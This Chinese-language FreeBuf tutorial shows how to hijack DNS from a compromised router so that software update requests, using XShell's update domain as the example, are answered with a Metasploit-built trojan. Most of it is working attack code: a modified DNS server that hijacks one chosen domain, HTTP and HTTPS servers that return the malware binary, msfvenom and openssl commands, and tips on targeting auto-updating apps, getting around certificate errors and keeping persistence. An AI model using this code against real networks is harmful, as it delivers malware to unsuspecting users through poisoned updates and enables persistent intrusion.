freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

技术分享 | 劫持DNS通过流量植入木马实验
FreeBuf_306203 2018-06-01 13:30:57 953205

*本文原创作者:R1ngk3y,本文属FreeBuf原创奖励计划,未经许可禁止转载

严正声明:本文仅限于技术讨论与分享,严禁用于非法途径。

前言

很多时候对目标进行渗透时一般会从web、网络设备、针对性钓鱼这三个方向入手。假设我们控制了目标网络中的一台网络设备,如路由器,内网用户流量会从这个地方经过我们怎么获取其权限呢 ?

这种时候可以在路由器上抓包分析用户流量,比如启动xshell、notepad++等软件时发送的更新请求包,然后我们替换软件更新的http响应包达到植入木马目的。

分析流量一般用tcpdump,如果只有路由器后台权限没有地方可以执行命令的话可以用DNS服务器配合HTTP代理来截获流量。

这里就演示一下去劫持软件更新服务器达到植入木马的目的

一、部署DNS服务器

为了方便演示这里将受害者机器上的DNS改为攻击者IP

下载sqlmap项目提取sqlmap\sqlmap-stable\lib\request目录中的dns.py

执行看看效果

在用户机器上ping了一下,DNS服务器这边已经成功接收域名解析请求并响应127.0.0.1

但是这个脚本中把所有域名解析请求都响应成127.0.0.1

需要修改一下

我们的需求是能够正常解析域名,再对某些指定域名进行劫持。

修改后代码如下

#!/usr/bin/env python"""
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""import osimport reimport socketimport threadingimport timeimport dns.resolverclass DNSQuery(object):
    """
    Used for making fake DNS resolution responses based on received
    raw request
    Reference(s):
        http://code.activestate.com/recipes/491264-mini-fake-dns-server/
        https://code.google.com/p/marlon-tools/source/browse/tools/dnsproxy/dnsproxy.py
    """
    def __init__(self, raw):
        self._raw = raw
        self._query = ""
        type_ = (ord(raw[2]) >> 3) & 15                 # Opcode bits
        if type_ == 0:                                  # Standard query
            i = 12
            j = ord(raw[i])            while j != 0:
                self._query += raw[i + 1:i + j + 1] + '.'
                i = i + j + 1
                j = ord(raw[i])    def response(self, resolution):
        """
        Crafts raw DNS resolution response packet
        """
        retVal = ""
        if self._query:
            retVal += self._raw[:2]                                             # Transaction ID
            retVal += "\x85\x80"                                                # Flags (Standard query response, No error)
            retVal += self._raw[4:6] + self._raw[4:6] + "\x00\x00\x00\x00"      # Questions and Answers Counts
            retVal += self._raw[12:(12 + self._raw[12:].find("\x00") + 5)]      # Original Domain Name Query
            retVal += "\xc0\x0c"                                                # Pointer to domain name
            retVal += "\x00\x01"                                                # Type A
            retVal += "\x00\x01"                                                # Class IN
            retVal += "\x00\x00\x00\x20"                                        # TTL (32 seconds)
            retVal += "\x00\x04"                                                # Data length
            retVal += "".join(chr(int(_)) for _ in resolution.split('.'))       # 4 bytes of IP
        return retValclass DNSServer(object):
    def __init__(self):
        self.my_resolver = dns.resolver.Resolver()
        self.my_resolver.nameservers = ['8.8.8.8']
        self._check_localhost()
        self._requests = []
        self._lock = threading.Lock()        try:
            self._socket = socket._orig_socket(socket.AF_INET, socket.SOCK_DGRAM)        except AttributeError:
            self._socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        self._socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self._socket.bind(("", 53))
        self._running = False
        self._initialized = False
    def _check_localhost(self):
        response = ""
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
            s.connect(("", 53))
            s.send("6509012000010000000000010377777706676f6f676c6503636f6d00000100010000291000000000000000".decode("hex"))  # A www.google.com
            response = s.recv(512)        except:            pass
        finally:            if response and "google" in response:                raise socket.error("another DNS service already running on *:53")    def pop(self, prefix=None, suffix=None):
        """
        Returns received DNS resolution request (if any) that has given
        prefix/suffix combination (e.g. prefix.<query result>.suffix.domain)
        """
        retVal = None
        with self._lock:            for _ in self._requests:                if prefix is None and suffix is None or re.search("%s\..+\.%s" % (prefix, suffix), _, re.I):
                    retVal = _
                    self._requests.remove(_)                    break
        return retVal    def get_domain_A(self,domain):
        try:
            results=self.my_resolver.query(domain,'A')            for i in results.response.answer:                for j in i.items:                    try:
                        ip_address = j.address                        if re.match('\d+\.+\d+\.+\d+\.+\d', ip_address):                            return ip_address                    except AttributeError as e:                        continue
        except Exception as e:            return '127.0.0.1'
            
    def run(self):
        """
        Runs a DNSServer instance as a daemon thread (killed by program exit)
        """
        def _():
            try:
                self._running = True
                self._initialized = True
                while True:
                    data, addr = self._socket.recvfrom(1024)
                    _ = DNSQuery(data)
                    domain=_._query[:-1] ###### exploit
                    ip=self.get_domain_A(domain)                    if domain=='cdn.netsarang.net':
                        ip='192.168.80.142'
                    print domain,' -> ',ip
                    self._socket.sendto(_.response(ip), addr)                    with self._lock:
                        self._requests.append(_._query)            except KeyboardInterrupt:                raise
            finally:
                self._running = False
        thread = threading.Thread(target=_)
        thread.daemon = True
        thread.start()if __name__ == "__main__":
    server = None
    try:
        server = DNSServer()
        server.run()        while not server._initialized:
            time.sleep(0.1)        while server._running:            while True:
                _ = server.pop()                if _ is None:                    break
                else:
                    domian=_[:-1]                    #print "[i] %s with A %s" % (domian,server.get_domain_A(domian))
            time.sleep(1)    except socket.error, ex:        if 'Permission' in str(ex):            print "[x] Please run with sudo/Administrator privileges"
        else:            raise
    except KeyboardInterrupt:
        os._exit(0)    finally:        if server:
            server._running = False

这个脚本的功能是将用户的DNS请求转发给GOOGLE的DNS服务器使用户能够正常上网,然后再对指定域名做劫持

可以看到现在用户已经可以正常上网了

然后部署HTTP代理服务器

代码我已经写好了

# -*- coding: UTF-8 -*-import socketimport threading, getopt, sys, stringimport re#设置默认的最大连接数和端口号list=50port=80file_contents=open('myrat.exe','rb').read()def req_server():
    return 'HTTP/1.1 200 OK\r\nContent-Length: 303641\r\nContent-Type: application/force-download\r\nLast-Modified: Fri, 10 Jan 2014 03:54:35 GMT\r\nAccept-Ranges: bytes\r\nETag: "80f5adb7dcf1:474"\r\nServer: Microsoft-IIS/6.0\r\nX-Powered-By: ASP.NET\r\nDate: Thu, 24 May 2018 06:25:45 GMT\r\nConnection: close\r\n\r\n'+file_contents    
def jonnyS(client, address):
    try:    #设置超时时间
        client.settimeout(500)    #接收数据的大小
        buf = client.recv(2048)        print buf    #将接收到的信息原样的返回到客户端中
        client.send(req_server())    #超时后显示退出
    except socket.timeout:        print 'time out'
    #关闭与客户端的连接
    client.close()def main():
    #创建socket对象。调用socket构造函数
    #AF_INET为ip地址族,SOCK_STREAM为流套接字
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    #将socket绑定到指定地址,第一个参数为ip地址,第二个参数为端口号
    sock.bind(('0.0.0.0', port))    #设置最多连接数量
    sock.listen(list)    while True:    #服务器套接字通过socket的accept方法等待客户请求一个连接
        client, address = sock.accept()
        thread = threading.Thread(target=jonnyS, args=(client, address))
        thread.start()if __name__ == '__main__':
    main()

这里的功能是收到用户的HTTP请求后直接响应一个二进制文件,也就是我们的木马

效果如下

很多软件更新时都走的https所以我们还需搭建https代理服务器

搭建HTTPS代理服务器

代码如下

import socketserver, ssl, timeclass MyHTTPSHandler_socket(socketserver.BaseRequestHandler):
    def handle(self):
        context = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
        context.load_cert_chain(certfile="cert.pem")
        SSLSocket = context.wrap_socket(self.request, server_side=True)
        self.data = SSLSocket.recv(1024)
        print(self.data)
        file_contents=open('myrat.exe','rb').read()
        buf = 'HTTP/1.1 200 OK\r\nContent-Length: 303641\r\nContent-Type: application/force-download\r\nLast-Modified: Fri, 10 Jan 2014 03:54:35 GMT\r\nAccept-Ranges: bytes\r\nETag: "80f5adb7dcf1:474"\r\nServer: Microsoft-IIS/6.0\r\nX-Powered-By: ASP.NET\r\nDate: Thu, 24 May 2018 06:25:45 GMT\r\nConnection: close\r\n\r\n'+file_contents
        SSLSocket.send(buf)if __name__ == "__main__":
    port = 443
    httpd = socketserver.TCPServer(('0.0.0.0', port), MyHTTPSHandler_socket)
    httpd.serve_forever()

执行openssl req -new -x509 -keyout https_svr_key.pem -out https_svr_key.pem -days 3650 -nodes  可以生成证书

搭建好后配置木马,这里就用msf做演示

msfvenom -p windows/ -f exe -o myrat.exe

然后看一下xshell的更新请求

域名是cdn.netsarang.net,看一下流量

可以看到是走的https

在dns服务器中添加如下

架设https服务器

运行脚本和msf监听

视频效果图

总结

1.可以针对firefox等自动更新或后台静默更新的这类应用程序进行流量替换,这样成功率会很高被发现可能性也小

2.当更新包请求是https时需要注意证书问题,可以尝试利用cname绕过,比如在dns服务器上把www.baidu.com重定向到www.exploit.com,我们有www.exploit.com的合法证书这样就不会报错.

3.在路由器上修改DNS也可以作为一种持久性控制的手段,某天权限不慎丢失了,继续植入就行了。

*本文原创作者:R1ngk3y,本文属FreeBuf原创奖励计划,未经许可禁止转载

# DNS # 木马
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 FreeBuf_306203 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
知识
FreeBuf_306203 LV.3
null
  • 4 文章数
  • 17 关注者
域内配置ACL后门及检测清理
2018-11-28
九种姿势运行Mimikatz
2018-07-13
Windows SMB请求重放攻击分析
2018-07-10
文章目录